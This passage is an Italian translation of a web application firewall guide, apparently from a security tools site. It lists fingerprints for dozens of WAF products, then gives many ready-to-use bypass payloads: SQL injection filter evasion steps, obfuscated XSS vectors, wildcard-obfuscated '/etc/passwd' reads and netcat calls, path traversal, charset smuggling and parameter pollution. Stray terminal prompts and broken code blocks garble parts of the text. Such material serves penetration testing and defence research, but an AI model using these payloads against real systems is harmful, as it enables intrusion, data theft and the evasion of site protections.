      • L'intestazione X-Powered-By ha il valore del campo Safe3WAF.
      • L'intestazione Server contiene il valore del campo impostato su Safe3 Web Firewall.
    • La pagina di risposta contiene la parola chiave Safe3waf.
SafeDog
  • Rilevabilità: Facile/Media
  • Metodologia di rilevamento:
    • L'intestazione Server nella risposta può contenere:
      • Parola chiave WAF/2.0.
      • Valore del campo safedog.
SecKing
  • Rilevabilità: Facile/Media
  • Metodologia di rilevamento:
    • L'intestazione Server nella risposta può contenere:
      • Parola chiave SECKINGWAF.
      • Valore del campo SECKING/{version}.
SecuPress
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta può contenere:
      • SecuPress come testo.
      • Block ID: Bad URL Contents come testo.
    • Il codice di risposta restituito è 503 Service Unavailable.
Secure Entry
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore impostato su Secure Entry Server.
SecureIIS
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene uno dei seguenti frammenti di testo:
      • Immagine che mostra il logo beyondtrust.
      • Download SecureIIS Personal Edition.
      • Riferimento all'URL http://www.eeye.com/SecureIIS/.
      • Frammento di testo SecureIIS Error.
SecureSphere
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene il seguente frammento di testo:
      • Errore nel testo h2.
      • Il titolo contiene solo il testo Error.
      • Testo Contact support for additional information..
SEnginx
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene la parola chiave SENGINX-ROBOT-MITIGATION.
ServerDefender VP
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La risposta bloccata contiene il campo intestazione X-Pint con la parola chiave p80.
Shadow Daemon
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene la parola chiave request forbidden by administrative rules..
ShieldSecurity
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Testo You were blocked by the Shield..
      • Frammento di testo Something in the URL, Form or Cookie data wasn't appropriate.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene
      il frammento di testo The page you are trying to access is restricted due to a security rule.
SiteGuard (JP Secure)
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • Frammento di testo Powered by SiteGuard.
      • Frammento di testo The server refuse to browse the page..
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il sorgente della pagina di risposta bloccata contiene quanto segue:
      • Riferimento all'URL www.sitelock.com.
      • Testo Sitelock is leader in Business Website Security Services..
      • Parola chiave sitelock-site-verification.
      • Immagine sitelock_shield_logo.
SonicWall
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore della parola chiave SonicWALL.
    • La pagina di risposta bloccata contiene uno dei seguenti frammenti di testo:
      • Immagine che mostra il logo Dell.
      • This request is blocked by the SonicWALL.
      • Frammento di testo Web Site Blocked.
      • nsa_banner come parola chiave. :p
Sophos UTM
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene la parola chiave Powered by UTM Web Protection.
SquareSpace
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • Il codice di risposta restituito è 404 Not Found su richieste dannose.
    • La pagina di risposta bloccata contiene uno dei seguenti frammenti di testo:
      • Parola chiave BRICK-50.
      • Frammento di testo 404 Not Found.
SquidProxy IDS
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore del campo squid/{version}.
    • La pagina di risposta bloccata contiene
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Contiene un'immagine che mostra il logo StackPath.
    • La pagina di risposta bloccata contiene
      You performed an action that triggered the service and blocked your request.
Stingray
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • Il codice di risposta bloccata restituisce 403 Forbidden o 500 Internal Error.
    • Le intestazioni di risposta contengono il nome del campo intestazione X-Mapping.
Sucuri CloudProxy
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta possono contenere le parole chiave Sucuri o Cloudproxy.
    • La pagina di risposta bloccata contiene il seguente frammento di testo:
      • Testo Access Denied - Sucuri Website Firewall.
      • Riferimento all'URL https://sucuri.net/privacy-policy.
      • A volte l'email [email protected].
      • Contiene avviso di copyright ;copy {year} Sucuri Inc.
    • Le intestazioni di risposta contengono X-Sucuri-ID insieme alle richieste normali.
Synology Cloud
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata ha Copyright (c) 2019 Synology Inc. All rights reserved. come testo.
Tencent Cloud
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Il codice di risposta bloccata restituisce un errore 405 Method Not Allowed.
    • La pagina di risposta bloccata contiene un riferimento all'URL waf.tencent-cloud.com.
Teros
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il campo cookie st8id.
TrafficShield
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Server potrebbe contenere la parola chiave F5-TrafficShield.
    • Il valore ASINFO= potrebbe essere rilevato nei cookie di risposta.
TransIP
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono l'intestazione univoca X-TransIP-Backend.
    • Le intestazioni di risposta contengono un'altra intestazione X-TransIP-Balancer.
UCloud UEWaf
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta potrebbe contenere:
      • Riferimento alla directory nell'URL /uewaf_deny_pages/default/img/.
      • URL ucloud.cn.
    • Le intestazioni di risposta restituite hanno l'intestazione Server impostata su uewaf/{version}.
URLMaster SecurityCheck
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta potrebbero contenere:
      • Parola chiave UrlMaster.
      • Parola chiave UrlRewriteModule.
      • Parola chiave SecurityCheck.
    • Il codice di risposta bloccata restituito è il frammento di testo 400 Bad Request.
URLScan
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Frammento di testo Rejected-by-URLScan.
      • Server Erro in Application come intestazione.
      • Module: IIS Web Core nella tabella.
USP Secure Entry
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il valore del campo Secure Entry Server.
Varnish (OWASP)
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La richiesta dannosa restituisce un errore 404 Not Found.
    • La pagina di risposta contiene:
      • Frammento di testo Request rejected by xVarnish-WAF.
Varnish CacheWall
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • Error 403 Naughty, not Nice! come intestazione.
      • Varnish cache Server come testo.
Viettel
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • La pagina di blocco ha il titolo impostato su Access denied · Viettel WAF.
      • Riferimento all'URL https://cloudrity.com.vn/.
      • La pagina di risposta contiene le parole chiave Viettel WAF system.
      • Informazioni di contatto riferimento all'URL https://cloudrity.com.vn/customer/#/contact.
VirusDie
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • Immagine http://cdn.virusdie.ru/splash/firewallstop.png.
      • Avviso di copyright copy; Virusdie.ru

        .
      • Il titolo della pagina di risposta contiene la parola chiave Virusdie.
      • I metadati della pagina contengono la parola chiave name="FW_BLOCK".
WallArm
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni Server contengono il valore nginx-wallarm.
WatchGuard IPS
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni Server possono contenere il valore del campo WatchGuard.
    • La pagina di risposta bloccata contiene:
      • Testo Request denied by WatchGuard Firewall.
      • WatchGuard Technologies Inc. come piè di pagina.
WebARX Security
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Limitato specificamente ai soli siti WordPress.
    • La pagina di risposta bloccata contiene:
      • Testo This request has been blocked by WebARX Web Application Firewall.
      • Riferimento alla directory /wp-content/plugins/webarx/ dove è installato.
WebKnight
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono la parola chiave WebKnight.
    • La pagina di risposta bloccata contiene:
      • Avviso di testo WebKnight Application Firewall Alert.
      • Frammento di testo AQTRONIX WebKnight.
    • Il codice di risposta bloccata restituito è 999 No Hacking. :p
    • Il codice di risposta bloccata restituito è anche 404 Hack Not Found. :p
WebLand
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave Apache Protected By WebLand WAF.
WebRay
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave WebRay-WAF.
    • Le intestazioni di risposta possono avere il campo DrivedBy con valore RaySrv RayEng/{version}.
WebSEAL
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave WebSEAL.
    • La pagina di risposta bloccata contiene:
      • Testo This is a WebSEAL error message template file.
      • Frammento di testo WebSEAL server received an invalid HTTP request.
WebTotem
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene The current request was blocked by WebTotem.
West263CDN
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il campo intestazione X-Cache con valore WT263CDN.
Wordfence
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono la parola chiave WebKnight.
    • La pagina di risposta bloccata contiene:
      • Frammento di testo Generated by Wordfence.
      • Avviso di testo A potentially unsafe operation has been detected in your request to this site.
      • Avviso di testo Your access to this site has been limited.
      • Frammento di testo This response was generated by Wordfence.
WTS-WAF
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il titolo della pagina di risposta bloccata ha la parola chiave WTS-WAF.
    • L'intestazione Server contiene wts come valore.
XLabs Security WAF
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il campo intestazione X-CDN con valore XLabs Security.
Xuanwudun WAF
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene un riferimento all'URL del sito http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/.
Yunaq Chuangyu
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • La pagina di risposta ha riferimento a:
      • URL 365cyd.com o 365cyd.net.
      • Riferimento alla pagina di aiuto su http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene YUNDUN come valore.
    • Il campo intestazione X-Cache contiene YUNDUN come valore.
    • La pagina di risposta contiene il frammento di testo Blocked by YUNDUN Cloud WAF.
    • La pagina di risposta bloccata contiene un riferimento all'URL yundun.com/yd_http_error/.
Yunsuo
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene un riferimento di classe immagine a yunsuologo.
    • Le intestazioni di risposta contengono il nome del campo yunsuo_session.
YxLink
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La risposta potrebbe avere il campo cookie yx_ci_session.
    • La risposta potrebbe avere il campo cookie yx_language.
    • L'intestazione Server contiene il valore del campo Yxlink-WAF.
ZenEdge
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene un riferimento alla directory /__zenedge/assets/.
    • L'intestazione Server contiene la parola chiave ZENEDGE.
    • Le intestazioni di risposta bloccata possono contenere l'intestazione X-Zen-Fury.
ZScaler
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server ha il valore impostato su ZScaler.
    • La pagina di risposta bloccata contiene:
      • Testo Access Denied: Accenture Policy.
      • Riferimento all'URL https://policies.accenture.com.
      • Riferimento all'immagine su https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Fuzzing/Bruteforcing:

Metodo:

Eseguire un set di payload contro l'URL/endpoint. Alcune buone wordlist per fuzzing:

  • Wordlist specificamente per fuzzing
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • Other Payloads

Tecnica:

  • Carica la tua wordlist nel fuzzer e avvia il bruteforce.
  • Registra/logga tutte le risposte dai vari payload fuzzati.
  • Usa user-agent casuali, dal browser Chrome Desktop a quello iPhone.
  • Se noti blocchi, aumenta la latenza del fuzz (es. 2-4 sec).
  • Usa sempre proxychains, poiché è reale la possibilità che il tuo IP venga bloccato.

Svantaggi:

  • Questo metodo spesso fallisce.
  • Molte volte il tuo IP verrà bloccato (temporaneamente/permanentemente).

Regex Reversing:

Metodo:

  • Il metodo più efficiente per bypassare i WAF.
  • Alcuni WAF si basano sul confronto dei payload di attacco con le firme nei loro database.
  • Se il payload corrisponde alla regex, il WAF attiva l'allarme.

Tecniche:

Rilevamento/ByPass tramite Blacklist

  • In questo metodo proviamo a identificare le regole passo dopo passo osservando le keyword nella blacklist.
  • L'idea è indovinare la regex e costruire il prossimo payload che non usi le keyword bloccate.

Caso: SQL Injection

• Step 1:

Keyword Filtrate: and, or, union
Regex Probabile: preg_match('/(and|or|union)/i', $id)

  • Tentativo Bloccato: union select user, password from users
  • Iniezione Bypassata: 1 || (select user from users where user_id = 1) = 'admin'
• Step 2:

Keyword Filtrate: and, or, union, where

  • Tentativo Bloccato: 1 || (select user from users where user_id = 1) = 'admin'
  • Iniezione Bypassata: 1 || (select user from users limit 1) = 'admin'
• Step 3:

Keyword Filtrate: and, or, union, where, limit

  • Tentativo Bloccato: 1 || (select user from users limit 1) = 'admin'
  • Iniezione Bypassata: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Step 4:

Keyword Filtrate: and, or, union, where, limit, group by

  • Tentativo Bloccato: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Iniezione Bypassata: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Step 5:

Keyword Filtrate: and, or, union, where, limit, group by, select

  • Tentativo Bloccato: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Iniezione Bypassata: 1 || 1 = 1 into outfile 'result.txt'
  • Iniezione Bypassata: 1 || substr(user,1,1) = 'a'
• Step 6:

Keyword Filtrate: and, or, union, where, limit, group by, select, '

  • Tentativo Bloccato: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Iniezione Bypassata: 1 || user_id is not null
  • Iniezione Bypassata: 1 || substr(user,1,1) = 0x61
  • Iniezione Bypassata: 1 || substr(user,1,1) = unhex(61)
• Step 7:

Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex

  • Tentativo Bloccato: 1 || substr(user,1,1) = unhex(61)
  • Iniezione Bypassata: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Step 8:

Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex, substr

  • Tentativo Bloccato: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Iniezione Bypassata: 1 || lpad(user,7,1)
• Step 9:

Keyword Filtrate: and, or, union, where, limit, group by, select, ', hex, substr, white space

  • Tentativo Bloccato: 1 || lpad(user,7,1)
  • Iniezione Bypassata: 1%0b||%0blpad(user,7,1)

Obfuscation:

Metodo:

  • Codificare il payload in diverse codifiche (un approccio per tentativi ed errori).
  • Puoi codificare l'intero payload, o alcune parti, e testare ricorsivamente.

Tecniche:

1. Alternanza Maiuscole/Miniuscole

  • Alcuni WAF poco sviluppati filtrano selettivamente WAF con maiuscole/minuscole specifiche.
  • Possiamo combinare caratteri maiuscoli e minuscoli per sviluppare payload efficienti.

Standard: <script>alert()</script>
Bypassato: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassato: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

  • Codifica i payload normali con % encoding/URL encoding.
  • Può essere fatto con strumenti online come questo.
  • Burp include un encoder/decoder integrato.

Bloccato: <svG/x=">"/oNloaD=confirm()//
Bypassato: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloccato: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassato: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalizzazione Unicode

  • I caratteri ASCII in codifica unicode offrono ottime varianti per il bypass.
  • Puoi codificare l'intero/parte del payload per ottenere risultati.

Standard: <marquee onstart=prompt()>
Offuscato: <marquee onstart=\u0070r\u06f\u006dpt()>

Bloccato: /?redir=http://google.com
Bypassato: /?redir=http://google。com (alternativa Unicode)

Bloccato: <marquee loop=1 onfinish=alert()>x
Bypassato: <marquee loop=1 onfinish=alert︵1)>x (alternativa Unicode)

SUGGERIMENTO: Dai un'occhiata a questo e questo report su HackerOne. :)

Standard: ../../etc/passwd
Offuscato: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Rappresentazione HTML

  • Spesso le applicazioni web codificano i caratteri speciali in codifica HTML e li renderizzano di conseguenza.
  • Questo ci porta a casi di bypass di base con codifica HTML (numerica/generica).

Standard: ">
Codificato: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (forma generica)
Codificato: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (riferimento numerico)

5. Codifica Mista

  • A volte, le regole del WAF tendono a filtrare un tipo specifico di codifica.
  • Questo tipo di filtri può essere bypassato con payload a codifica mista.
  • Tabulazioni e newline aggiungono ulteriore offuscamento.

Offuscato:``` XSS

root@kitploit:~
__6. Uso dei Commenti__
- I commenti offuscano i vettori di payload standard.
- Diversi payload hanno diversi modi di offuscamento.

__Bloccato__: `<script>alert()</script>`  
__Bypassato__: `<!--><script>alert/**/()/**/</script>`

__Bloccato__: `/?id=1+union+select+1,2,3--`  
__Bypassato__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. Doppia Codifica__
- Spesso i filtri WAF tendono a codificare i caratteri per prevenire attacchi.
- Tuttavia, filtri mal sviluppati (senza filtri di ricorsione) possono essere bypassati con la doppia codifica.

__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__Offuscato__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__Standard__: `<script>alert()</script>`  
__Offuscato__: `%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. Offuscamento con Wildcard__
- I pattern di globbing sono utilizzati da varie utility da riga di comando per lavorare con più file.
- Possiamo modificarli per eseguire comandi di sistema.
- Specifico per vulnerabilità di esecuzione di codice remoto su sistemi linux.

__Standard__: `/bin/cat /etc/passwd`  
__Offuscato__: `/???/??t /???/??ss??`  
Caratteri usati: `/ ? t s`

__Standard__: `/bin/nc 127.0.0.1 1337`  
__Offuscato__: `/???/n? 2130706433 1337`  
Caratteri usati: `/ ? n [0-9]`

__9. Generazione Dinamica del Payload__
- Diversi linguaggi di programmazione hanno sintassi e pattern diversi per la concatenazione.
- Questo ci permette di generare efficacemente payload che possono bypassare molti filtri e regole.

__Standard__: `<script>alert()</script>`  
__Offuscato__: `<script>eval('al'+'er'+'t()')</script>`

__Standard__: `/bin/cat /etc/passwd`  
__Offuscato__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permette la concatenazione di percorsi per l'esecuzione.

__Standard__: ``  
__Offuscato__:```

13. Rompi Token

  • Gli attacchi ai tokenizer tentano di rompere la logica di suddivisione di una richiesta in token con l'aiuto dei rompi token.

  • I rompi token sono simboli che permettono di influenzare la corrispondenza tra un elemento di una stringa e un determinato token, e quindi bypassare la ricerca per firma.

  • Tuttavia, la richiesta deve comunque rimanere valida durante l'uso dei rompi token.

  • Caso: Token Sconosciuto per il Tokenizer

    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Caso: Contesto Sconosciuto per il Parser (Notare la parentesi senza contesto)

    • Payload 1: ?id=123);DROP TABLE users --
    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

SUGGERIMENTO: Ulteriori payload possono essere creati tramite questo cheat sheet.

14. Offuscamento in Altri Formati

  • Molte applicazioni web supportano diversi tipi di codifica e possono interpretare la codifica (vedi sotto).
  • Offuscare il nostro payload in un formato non supportato dal WAF ma che il server può introdurre il nostro payload.

Caso: IIS

  • IIS6, 7.5, 8 e 10 (ASPX v4.x) consentono interpretazioni dei caratteri IBM037.
  • Possiamo codificare il nostro payload e inviare i parametri codificati con la query.

Richiesta Originale:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
Richiesta offuscata + Codifica URL:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

La seguente tabella mostra il supporto delle diverse codifiche dei caratteri sui sistemi testati (quando i messaggi potevano essere offuscati utilizzandole):

SUGGERIMENTO: Puoi utilizzare questo piccolo script Python per convertire i tuoi payload e parametri nelle codifiche desiderate.

TargetCodificheNote
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • La stringa di query e il corpo devono essere codificati.
  • Parametri decodificati dall'URL nella stringa di query e nel corpo.
  • Il segno di uguale e la e commerciale devono essere codificati anch'essi (nessuna decodifica URL).
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • La stringa di query e il corpo devono essere codificati.
  • Parametri decodificati dall'URL nella stringa di query e nel corpo successivamente.
  • Il segno di uguale e la e commerciale non devono essere codificati in alcun modo.
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Stringa di query nel suo formato originale (può essere codificata come di consueto).
  • Il corpo può essere inviato con o senza codifica URL.
  • Il segno di uguale e la e commerciale non devono essere codificati in alcun modo.
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Stringa di query nel suo formato originale (può essere codificata come di consueto).
  • Il corpo può essere inviato con o senza codifica URL.
  • Il segno di uguale e la e commerciale non devono essere codificati in alcun modo.
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025

Inquinamento dei Parametri HTTP (HTTP Parameter Pollution)

Metodo:

  • Questo metodo di attacco si basa su come un server interpreta parametri con lo stesso nome.
  • Possibili possibilità di bypass qui sono:
    • Il server utilizza l'ultimo parametro ricevuto e il WAF controlla solo il primo.
    • Il server unisce il valore di parametri simili e il WAF li controlla separatamente.

Tecnica:

  • L'idea è di enumerare come i parametri vengono interpretati dal server.
  • In tal caso possiamo passare il payload a un parametro che non viene ispezionato dal WAF.
  • È utile anche distribuire un payload su più parametri che possono successivamente essere concatenati dal server.

Di seguito è riportato un confronto tra diversi server e le loro interpretazioni relative:

AmbienteInterpretazione del ParametroEsempio
ASP/IISConcatenazione tramite virgolapar1=val1,val2
JSP, Servlet/Apache TomcatIl primo parametro è risultantepar1=val1
ASP.NET/IISConcatenazione tramite virgolapar1=val1,val2
PHP/ZeusL'ultimo parametro è risultantepar1=val2
PHP/ApacheL'ultimo parametro è risultantepar1=val2
JSP, Servlet/JettyIl primo parametro è risultantepar1=val1
IBM Lotus DominoIl primo parametro è risultantepar1=val1
IBM HTTP ServerL'ultimo parametro è risultantepar1=val2
mod_perl, libapeq2/ApacheIl primo parametro è risultantepar1=val1
Oracle Application Server 10GIl primo parametro è risultantepar1=val1
Perl CGI/ApacheIl primo parametro è risultantepar1=val1
Python/ZopeIl primo parametro è risultantepar1=val1
IceWarpViene restituito un array['val1','val2']
AXIS 2400L'ultimo parametro è risultantepar1=val2
DBManConcatenazione tramite due tildepar1=val1~~val2
mod-wsgi (Python)/Apache

Frammentazione dei Parametri HTTP (HTTP Parameter Fragmentation)

  • HPF si basa sul principio secondo cui il server unisce il valore passato attraverso i parametri.
  • Possiamo suddividere il payload in diversi componenti e quindi passare i valori tramite i parametri.

Payload di Esempio: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
URL di Query di Esempio: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

SUGGERIMENTO: Un esempio reale di come creare bypass utilizzando questo metodo può essere trovato qui.

Bug del Browser:

Bug del Set di Caratteri (Charset Bugs):

  • Possiamo provare a cambiare l'intestazione del set di caratteri in un Unicode più alto (ad es. UTF-32) e testare i payload.
  • Quando il sito decodifica la stringa, il payload viene attivato.

Richiesta di esempio:

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Quando il sito viene caricato, verrà codificato nella codifica UTF-32 che abbiamo impostato, e quindi, poiché la codifica di output della pagina è UTF-8, verrà visualizzato come: "<script>alert (1) </ script> che attiverà XSS.

Payload finale codificato nell'URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### Null Bytes:
- I byte nulli sono comunemente usati come terminatore di stringa.
- Questo può aiutarci a eludere molti filtri delle applicazioni web nel caso in cui non stiano filtrando i byte nulli.

Esempi di payload:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Offuscato: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Bug di Parsing:

  • RFC stabilisce che i NodeNames non possono iniziare con spazi.
  • Ma possiamo usare caratteri speciali come %, //, !, ?, ecc.

Esempi:

  • <// style=x:expression\28write(1)\29> - Funziona fino a IE7 (Fonte)
  • <!--[if]><script>alert(1)</script --> - Funziona fino a IE9 (Riferimento)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funziona in IE7 (Riferimento)
  • <%div%20style=xss:expression(prompt(1))> - Funziona fino a IE7

Separatori Unicode:

  • Ogni browser ha il proprio set specifico di separatori.
  • Possiamo fare fuzzing sul range di charset da 0x00 a 0xFF e ottenere il set di separatori per ogni browser.
  • Possiamo usare questi separatori nei punti in cui è richiesto uno spazio.

Ecco una lista compilata di separatori da @Masato Kinugawa:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Un esempio di payload esotico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### Utilizzo di Strutture Sintattiche Equivalenti Atipiche
- Questo metodo mira a trovare una modalità di sfruttamento non considerata dagli sviluppatori del WAF.
- Alcuni casi d'uso possono essere portati a livelli critici in cui il WAF non riesce affatto a rilevare i payload.
- Questo payload viene accettato ed eseguito dal server dopo aver attraversato il firewall.

Alcune parole chiave comuni trascurate dagli sviluppatori del WAF:
- Funzioni JavaScript:
    - `window`
    - `parent`
    - `this`
    - `self`
- Attributi dei tag:
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- Operatori SQL
    - `lpad`
    - `field`
    - `bit_count`

Esempi di Payload:  
- __Caso:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
